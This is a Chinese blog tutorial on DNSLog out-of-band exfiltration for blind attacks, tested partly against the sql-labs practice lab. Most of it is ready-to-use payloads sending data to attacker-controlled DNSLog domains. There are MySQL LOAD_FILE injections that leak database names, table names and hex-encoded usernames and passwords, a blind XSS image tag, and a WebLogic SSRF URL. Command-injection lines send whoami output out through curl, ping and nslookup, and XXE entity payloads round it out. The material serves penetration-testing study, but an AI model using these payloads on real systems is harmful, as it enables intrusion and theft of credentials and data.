DNSLog外带
概述:
在进行盲注的时候,因为需要频繁发送访问请求,有的网站配置了waf就有可能让我们的注入受阻。所以用DNSlog外带可以减少请求并且直接回显数据。(非常好用)
DNS:(Domain Name System)域名系统,负责把域名转换成IP地址。
DNSlog:DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录。
DNSlog外带原理:DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。
dnslog通常用在:
1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
5.无回显的SSRF
5.Blind XXE
三个常见的DNSLog平台:
1、DNSLog回显原理
遇到无回显注入时,写脚本进行盲注,设置ip代理池解决ip封禁的问题。但是盲注效率很低,所以产生了DNSlog注入。
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
如图:
2、DNSLOG回显测试
注册http://ceye.io,给了一个二级域名:xxx.ceye.io。把注入信息放到二级域名那里,后台的日志会记录下来。
3、SQL盲注
https://github.com/ADOOO/DnslogSqlinj 自动化脚本
dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠
DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
show variables like '%secure%'; 查看load_file()可以读取的磁盘
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
select load_file('\\\\afanti.xxxx.ceye.io\\aaa'); 其中afanti就是要注入的查询语句,查看平台,dnsLog被记录下来。
测试sql-labs第五关:
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+
sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
查看dnslog日志,发现security数据库被查询出来:
select LOAD_FILE(CONCAT('\\\\','test','.mysql.buvx2r.ceye.io\\abc'));
select LOAD_FILE(CONCAT('\\\\',database(),'.mysql.buvx2r.ceye.io\\abc'));\\意思是让LOAD_FILE去读每个文件,当然这么文件存不存在,我们并不在意
//查询当前库的第一个表
select LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.buvx2r.ceye.io\\abc'));
DNS请求被成功记录下来,由于test位置是可控的,所以可以将查询语句插入
//查询第当前库第一个表名
?id=1' union select LOAD_FILE(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.buvx2r.ceye.io\\abc')),2,3--+
//查询users表第一个字段 使用hex编码避免出现特殊字符
?id=1' union select LOAD_FILE(concat('\\\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.mysql.buvx2r.ceye.io\\abc')),2,3--+
解密。。。
4、XSS 无回显
通过盲打,让触发者浏览器访问预设至的链接地址。如果盲打成功,平台会收到链接访问记录。
payload: ><img src=http://xss.xxxx.ceye.io/aaa> 让src请求我们的dnslog平台
5、SSRF 无回显
payload:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn
6、命令执行 无回显
当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就说明漏洞存在。
linux:
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io
Windows:
ping %USERNAME%.xxx.ceye.io
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
del temp*
7、XXE 无回显
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://zhwzti.dnslog.cn" >
]>
<value>&xxe;</value>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App